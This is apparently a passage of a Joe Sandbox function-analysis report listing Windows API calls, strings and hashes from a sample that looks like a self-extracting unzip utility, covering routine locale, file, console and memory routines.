EnumSystemLocalesA.KERNEL32(00416D51,00000001,00425924,0041303A,?,00428D8C,?,?,?,00000000), ref: 00416D30

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: a7bb0882fa0fdb173d73acf3e9cadf1c318318983cd881b0aac2a392fc96364d
Instruction ID: d2e323bb029e7b0a897126f847bf2f891343e842901ec26812400a6b3106f349
Opcode Fuzzy Hash: a7bb0882fa0fdb173d73acf3e9cadf1c318318983cd881b0aac2a392fc96364d
Instruction Fuzzy Hash: 2CF081717612128AD7249F35FC0A7A937A5BB10706F96053EE410C61B0CFF884C68A0C

Function 00411CB0 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000400,00000021,?,00000002,00000000,0040941D), ref: 00411CBF

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: f64141a690a3e9232ea995137bec61b94daafc7312ef2b75c4abfc6c2b8b1334
Instruction ID: b26c8389b7bf11535142398e37757b6b2d15ac830af8ac7aefcefff00ae82d06
Opcode Fuzzy Hash: f64141a690a3e9232ea995137bec61b94daafc7312ef2b75c4abfc6c2b8b1334
Instruction Fuzzy Hash: C6E0CD723A150116F72447A4C8C5BF36794F740301F18442BF307C96D0E55CCC81912C

Function 00416F55 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

EnumSystemLocalesA.KERNEL32(00416FAB,00000001,?,00425924,0041303A,?,00428D8C,?,?,?,00000000), ref: 00416F94

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 961766b1373d32e20d781233b65e77b415bb57fe1c1931dd36f2c4f9580da8de
Instruction ID: 24001c68db538805d743db4dfa3dc963df6247e151c5e03366915cc87b7c35c7
Opcode Fuzzy Hash: 961766b1373d32e20d781233b65e77b415bb57fe1c1931dd36f2c4f9580da8de
Instruction Fuzzy Hash: C0E092727652118AD7205F30FC057993AA5BB10B05FA6013EE420C10F0CFF944CB8A0C

Function 00417068 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

EnumSystemLocalesA.KERNEL32(0041709F,00000001,004259A8,?,00425924,0041303A,?,00428D8C,?,?,?,00000000), ref: 00417088

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 01c282eb77641323e9fe874f6d02881c1e97bfe8ac1b72935f4c6e12c196c4f6
Instruction ID: bae1840d9773f24e5d2ffe4de356391a1d12f5d8f190a3d469efc6c2ed09b3b8
Opcode Fuzzy Hash: 01c282eb77641323e9fe874f6d02881c1e97bfe8ac1b72935f4c6e12c196c4f6
Instruction Fuzzy Hash: 4CD05E727623118AD7105F30AD097A93E68AB14F0AFA1886DD910C50E1CAF948C9860C

Function 00411CF0 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000400,0000001D,?,00000002,?,00409426), ref: 00411CFF

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 3063c24a5b71c23c923af5feb8ca0f4c4c71082d0ad2a5863e7f5c886da2b426
Instruction ID: d2ed403ade62f16da6ef4183f008dc4ef17a0cac864e46f49f16e908037ef13a
Opcode Fuzzy Hash: 3063c24a5b71c23c923af5feb8ca0f4c4c71082d0ad2a5863e7f5c886da2b426
Instruction Fuzzy Hash: DDD012B524C34075FA280F226C47FE737985B48B01F24905AFB91AB2D2D7A898455A39

Function 0040FF00 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 186fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0040F6B0: GetVersion.KERNEL32(004028AB,?,?,ZIPINFOOPT,?,?,?,00401014,?,?,0041492C,020405B8), ref: 0040F6BA

CreateFileA.KERNEL32(?,00000100,00000003,00000000,00000003,02000000,00000000,00000000,?,00000000,?,00403F26,?), ref: 0040FF28
GetLastError.KERNEL32(00000000,?,00000001), ref: 0041005E

Strings

warning: SetFileTime() for %s error %d, xrefs: 004100EF
warning: CreateFile() error %d (set file times for %s), xrefs: 00410065
set attrib: %-22s , xrefs: 0040FF55
compressed WinNT security data missing (%d bytes)%s, xrefs: 0040FFEB
%-22s , xrefs: 0040FFB7

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: CreateErrorFileLastVersion
String ID: compressed WinNT security data missing (%d bytes)%s$ set attrib: %-22s $%-22s $warning: SetFileTime() for %s error %d$warning: CreateFile() error %d (set file times for %s)
API String ID: 2621615039-3452739180
Opcode ID: 2b806aec2b57c61612aba36cfce3f43dab4ac99dab400fed94529667076e6c1e
Instruction ID: edb26e619037c44488cf69f2599f5cd4dd598bd07b404ecfb4a3fc13bc9991ba
Opcode Fuzzy Hash: 2b806aec2b57c61612aba36cfce3f43dab4ac99dab400fed94529667076e6c1e
Instruction Fuzzy Hash: 6051F9757803007BE720AB65BC47FB3365E9B54B15F94442BF909D22C2E6FEAC90826D

Function 0041BAAB Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 50libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(user32.dll,?,00000000,?,0041A4B1,?,Microsoft Visual C++ Runtime Library,00012010,?,00423494,?,004234E4,?,?,?,Runtime Error!Program: ), ref: 0041BABD
GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 0041BAD5
GetProcAddress.KERNEL32(00000000,GetActiveWindow), ref: 0041BAE6
GetProcAddress.KERNEL32(00000000,GetLastActivePopup), ref: 0041BAF3

Strings

4B, xrefs: 0041BB19, 0041BB1D
GetActiveWindow, xrefs: 0041BAE0
user32.dll, xrefs: 0041BAB8
GetLastActivePopup, xrefs: 0041BAE8
MessageBoxA, xrefs: 0041BACF

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: GetActiveWindow$GetLastActivePopup$MessageBoxA$user32.dll$4B
API String ID: 2238633743-2289559369
Opcode ID: 09a95b68fad4e2ac73f20e07bd1e8fe16aafe990b9da3c80e5661cf0b665ca6f
Instruction ID: 9c9cf768bb1ba27c629e3c903df4a55c7cd1ab91446db272b6502811c55c3a36
Opcode Fuzzy Hash: 09a95b68fad4e2ac73f20e07bd1e8fe16aafe990b9da3c80e5661cf0b665ca6f
Instruction Fuzzy Hash: 9C017531304316AB8720DFB5AC84EA77AB8EB48681754443BA946C2725D778DC46C79C

Function 00407860 Relevance: 14.4, APIs: 3, Strings: 5, Instructions: 391COMMON

Download Yara Rule

Strings

nircmdc.exe, xrefs: 00407AAE, 00407B09, 00407B0E, 00407B29, 00407B2E, 00407B43, 00407BFC
--- Press `Q' to quit, or any other key to continue ---, xrefs: 004079D5
warning: filename too long--truncating., xrefs: 00407A6A
[ %s ], xrefs: 00407C07
warning: extra field too long (%d). Ignoring..., xrefs: 00407C8B

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID:
String ID: --- Press `Q' to quit, or any other key to continue ---$[ %s ]$nircmdc.exe$warning: extra field too long (%d). Ignoring...$warning: filename too long--truncating.
API String ID: 0-1331371059
Opcode ID: a089861949e6340726d744b7c5c5a373a40e7235673de09a17e0cbd3ad2df153
Instruction ID: 51b1e297df8a976b1ee28b2c1833878725061e8c3fbe01eded018527f9c4d9f5
Opcode Fuzzy Hash: a089861949e6340726d744b7c5c5a373a40e7235673de09a17e0cbd3ad2df153
Instruction Fuzzy Hash: 39C13B71B4C3416AEB209F2CAC45B667B55AB11318F28507BE881673C2D2BDBC46C39F

Function 00412130 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 71fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(CONIN$,C0000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,004075BA), ref: 00412150
GetConsoleMode.KERNEL32(00000000,?,?,?,004075BA), ref: 00412166
SetConsoleMode.KERNEL32(00000000,00000001,?,?,004075BA), ref: 00412173
ReadFile.KERNEL32(00000000,?,00000001,?,00000000,?,?,?,004075BA), ref: 0041218F
ReadFile.KERNEL32(00000000,?,00000001,00000001,00000000), ref: 004121BA
SetConsoleMode.KERNEL32(00000000,?,?,?,004075BA), ref: 004121DD
CloseHandle.KERNEL32(00000000,?,?,004075BA), ref: 004121E4

Strings

CONIN$, xrefs: 00412147

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: ConsoleFileMode$Read$CloseCreateHandle
String ID: CONIN$
API String ID: 4003642833-3033795042
Opcode ID: 3e96ca424909fdc7b0da6d46b6abef9ef331b44d0c6254d227a55d37fe738f75
Instruction ID: e7930273b9cbbd300fa439537dbf3610411437395ea581ac5f8278a4b0bfe79b
Opcode Fuzzy Hash: 3e96ca424909fdc7b0da6d46b6abef9ef331b44d0c6254d227a55d37fe738f75
Instruction Fuzzy Hash: 4F11E436700311FBE621DB159C49FEB7768AB84720F108525FE10E61C0D7B499898B6E

Function 00412310 Relevance: 13.7, APIs: 9, Instructions: 181stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 0041235C

Part of subcall function 00412550: CreateMutexA.KERNEL32(00000000,00000001,00000000,?,00000000,00000000,00412334), ref: 00412566

EnterCriticalSection.KERNEL32(00429220), ref: 0041240D
lstrcmpiA.KERNEL32(00429118,?), ref: 00412428
LeaveCriticalSection.KERNEL32(00429220), ref: 0041243F
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00412461
GetDriveTypeA.KERNEL32(?), ref: 00412493
EnterCriticalSection.KERNEL32(00429220), ref: 004124BD

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: CriticalSection$Enter$CreateDriveInformationLeaveMutexTypeVolumelstrcmpilstrlen
String ID:
API String ID: 3268418500-0
Opcode ID: d8ef268f65cd5ebb51ce9872d8032ae48db8673499c663791f14b6ff2cf88466
Instruction ID: 2886dcb7fcb796122c9e5b216d3458b3906ab7dde395389191bfab681fb0c28f
Opcode Fuzzy Hash: d8ef268f65cd5ebb51ce9872d8032ae48db8673499c663791f14b6ff2cf88466
Instruction Fuzzy Hash: 8F51F7316083559FE320CF25E9457EBBBD4AB95300F54482EE890C3381D6BCDD9AC7AA

Function 0041918F Relevance: 13.7, APIs: 9, Instructions: 177COMMON

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,00000100,004231C4,00000001,00000000,00000000,00000103,00000001,?,?,0041B122,00200020,00000000,?,?,00000000), ref: 004191D1
LCMapStringA.KERNEL32(00000000,00000100,004231C0,00000001,00000000,00000000,?,0041B122,00200020,00000000,?,?,00000000,00000001), ref: 004191ED
LCMapStringA.KERNEL32(?,?,00000000,00200020,0041B122,?,00000103,00000001,?,?,0041B122,00200020,00000000,?,?,00000000), ref: 00419236
MultiByteToWideChar.KERNEL32(?,00000002,00000000,00200020,00000000,00000000,00000103,00000001,?,?,0041B122,00200020,00000000,?,?,00000000), ref: 0041926E
MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00200020,?,00000000,?,0041B122,00200020,00000000), ref: 004192C6
LCMapStringW.KERNEL32(?,?,00000000,00000000,00000000,00000000,?,0041B122,00200020,00000000), ref: 004192DC
LCMapStringW.KERNEL32(?,?,0041B122,00000000,0041B122,?,?,0041B122,00200020,00000000), ref: 0041930F
LCMapStringW.KERNEL32(?,?,?,?,?,00000000,?,0041B122,00200020,00000000), ref: 00419377

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: String$ByteCharMultiWide
String ID:
API String ID: 352835431-0
Opcode ID: 26d0b9452b8bc0e299162577c32f6f33c8d5b4764b2a63f7722eed71b1d7e419
Instruction ID: 55b7dface7ca53413e5a610a34780f482f7b03c06cfb318d5c2bd6adb41ae378
Opcode Fuzzy Hash: 26d0b9452b8bc0e299162577c32f6f33c8d5b4764b2a63f7722eed71b1d7e419
Instruction Fuzzy Hash: 0B515B31500209FBCF218F95CD49EEF7BB5FB49754F10412AF924A22A0D3398DA1DB69

Function 00412200 Relevance: 13.6, APIs: 9, Instructions: 120COMMON

Download Yara Rule

APIs

Part of subcall function 0040F6B0: GetVersion.KERNEL32(004028AB,?,?,ZIPINFOOPT,?,?,?,00401014,?,?,0041492C,020405B8), ref: 0040F6BA

IsValidSecurityDescriptor.ADVAPI32(?), ref: 00412217
GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00412237

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: DescriptorSecurity$DaclValidVersion
String ID:
API String ID: 1532089921-0
Opcode ID: 0d93435f18004ed9e29ac5f9650c3a45ac4ace9d854fa5dae8183bc654cd503a
Instruction ID: 6816d2660224887e43d6666693bd05513e1fa9988970b9181180d49af46b03ac
Opcode Fuzzy Hash: 0d93435f18004ed9e29ac5f9650c3a45ac4ace9d854fa5dae8183bc654cd503a
Instruction Fuzzy Hash: B831A7367002225BA710DB2DED80DFF77E8EEC4754F84486AF854C2210F778D95946B6

Function 0041A38D Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 100fileCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000), ref: 0041A3FA
GetStdHandle.KERNEL32(000000F4,00423494,00000000,?,00000000,00000000), ref: 0041A4D0
WriteFile.KERNEL32(00000000), ref: 0041A4D7

Strings

<program name unknown>, xrefs: 0041A40A
Runtime Error!Program: , xrefs: 0041A460
..., xrefs: 0041A44C
Microsoft Visual C++ Runtime Library, xrefs: 0041A4A6

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: File$HandleModuleNameWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 3784150691-4022980321
Opcode ID: 04c2ac82d4cdaaabc69ab33a94a316821a7cf5c4c0c799cd293786380b4abd52
Instruction ID: 7a0306bc7714f66003fee43fc566662e0915a3c579c87e485ca05bdabf1bfbee
Opcode Fuzzy Hash: 04c2ac82d4cdaaabc69ab33a94a316821a7cf5c4c0c799cd293786380b4abd52
Instruction Fuzzy Hash: FB31C572702218AFDF20EA61DC4AFDE776C9B45344F9004AFF944D6140D6BCEAD48A5E

Function 0041CE0F Relevance: 12.2, APIs: 8, Instructions: 181COMMON

Download Yara Rule

APIs

CompareStringW.KERNEL32(00000000,00000000,004231C4,00000001,004231C4,00000001,00000000,00000000,00000000,0041C6AA,00000000,00000000,74DEDF80,00000000,00000000), ref: 0041CE4D
CompareStringW.KERNEL32(00000000,74DEDF80,00000000,00000000,0041C6AA,00000000,00000000,00000000,00000000,0041C6AA,00000000,00000000,74DEDF80,00000000,00000000), ref: 0041CEB3
CompareStringA.KERNEL32(00000000,00000000,004231C0,00000001,004231C0,00000001,?,?,00000000,0041C134,00000000,00000000,?,?,?,0040144E), ref: 0041CEC9
WideCharToMultiByte.KERNEL32(00000000,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,0041C6AA,00000000,00000000,74DEDF80,00000000), ref: 0041CF0C
WideCharToMultiByte.KERNEL32(?,00000220,?,?,?,?,00000000,00000000), ref: 0041CF66
WideCharToMultiByte.KERNEL32(?,00000220,?,?,00000000,00000000,00000000,00000000), ref: 0041CF7E
WideCharToMultiByte.KERNEL32(?,00000220,?,?,?,?,00000000,00000000), ref: 0041CFD6
CompareStringA.KERNEL32(?,?,?,?,?,?,?,?,00000000,00000000), ref: 0041CFF4

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: ByteCharCompareMultiStringWide
String ID:
API String ID: 1117519366-0
Opcode ID: a411932ad2318a4f170b5595e3798524a948137154e595a0eb41b66fa8cbb120
Instruction ID: a774bcca2041765d8996282b2f32d3625f26fdb7b7df1d6986941dd8b1866f47
Opcode Fuzzy Hash: a411932ad2318a4f170b5595e3798524a948137154e595a0eb41b66fa8cbb120
Instruction Fuzzy Hash: 26516A71A40209EBCF218F95CC85DEF7F79FB49754F20411AF811A1260D73989A1DBA8

Function 0041D165 Relevance: 12.2, APIs: 8, Instructions: 170COMMON

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,00000100,004231C4,00000001,00000000,00000000,74DEDF80,00000002,00000000,00000000,0041C6AA,00000000,00000000,74DEDF80,00000000,00000000), ref: 0041D1A7
LCMapStringA.KERNEL32(00000000,00000100,004231C0,00000001,00000000,00000000,?,?,00000000,0041C134,00000000,00000000,?,?,?,0040144E), ref: 0041D1C3
LCMapStringW.KERNEL32(00000000,74DEDF80,00000000,00000000,0041C6AA,00000000,74DEDF80,00000002,00000000,00000000,0041C6AA,00000000,00000000,74DEDF80,00000000,00000000), ref: 0041D20C
WideCharToMultiByte.KERNEL32(00000000,00000220,00000000,00000000,00000000,00000000,00000000,00000000,74DEDF80,00000002,00000000,00000000,0041C6AA,00000000,00000000,74DEDF80), ref: 0041D23F
WideCharToMultiByte.KERNEL32(?,00000220,?,?,?,?,00000000,00000000), ref: 0041D296
LCMapStringA.KERNEL32(?,?,?,?,00000000,00000000), ref: 0041D2B2
LCMapStringA.KERNEL32(?,?,?,?,?,00000000), ref: 0041D308

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: String$ByteCharMultiWide
String ID:
API String ID: 352835431-0
Opcode ID: 6909be8c5c249c1ea830a7f530855667d4e0118645d5f77b012ba46e2979939f
Instruction ID: f32d3add464206e8e0aed92ca822318019ba77b5f644faad787136d3d6fb05ee
Opcode Fuzzy Hash: 6909be8c5c249c1ea830a7f530855667d4e0118645d5f77b012ba46e2979939f
Instruction Fuzzy Hash: 62518FB1901219FBCF228F91DC45AEF7F75FF09750F148016F925A1260C7398992DBAA

Function 0041A052 Relevance: 12.1, APIs: 8, Instructions: 132COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,004148FC), ref: 0041A06D
GetEnvironmentStrings.KERNEL32(?,?,?,?,?,?,004148FC), ref: 0041A081
GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,004148FC), ref: 0041A0AD
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,?,?,?,?,?,004148FC), ref: 0041A0E5
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,?,?,?,?,004148FC), ref: 0041A107
FreeEnvironmentStringsW.KERNEL32(00000000,?,?,?,?,?,?,004148FC), ref: 0041A120
GetEnvironmentStrings.KERNEL32(?,?,?,?,?,?,004148FC), ref: 0041A133
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 0041A171

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: EnvironmentStrings$ByteCharFreeMultiWide
String ID:
API String ID: 1823725401-0
Opcode ID: c8d47bca2f00aef09e3c29924055f81ad138db5fe313db441fa83e7eab80b45a
Instruction ID: 55f3ef25e741e715063bb0b53fb3b0197acadb47fa1d7b83ba552b9266e1e871
Opcode Fuzzy Hash: c8d47bca2f00aef09e3c29924055f81ad138db5fe313db441fa83e7eab80b45a
Instruction Fuzzy Hash: 0331E67250A2157FD7207FB59C848BBBA9CEA49354F15053BF952C3201E7698CD1826F

Function 004181D9 Relevance: 12.1, APIs: 5, Strings: 3, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

HeapAlloc.KERNEL32(00000000,00002020,?,?,?,?,0041767B), ref: 004181FA
VirtualAlloc.KERNEL32(00000000,00400000,00002000,00000004,?,?,?,?,0041767B), ref: 0041821E
VirtualAlloc.KERNEL32(00000000,00010000,00001000,00000004,?,?,?,?,0041767B), ref: 00418238
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,?,?,0041767B), ref: 004182F9
HeapFree.KERNEL32(00000000,00000000,?,?,?,?,0041767B), ref: 00418310

Strings

hB, xrefs: 004182FF
hB, xrefs: 004181E6, 00418242, 0041824B, 00418254
hB, xrefs: 00418259, 00418262, 0041826B, 00418273

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
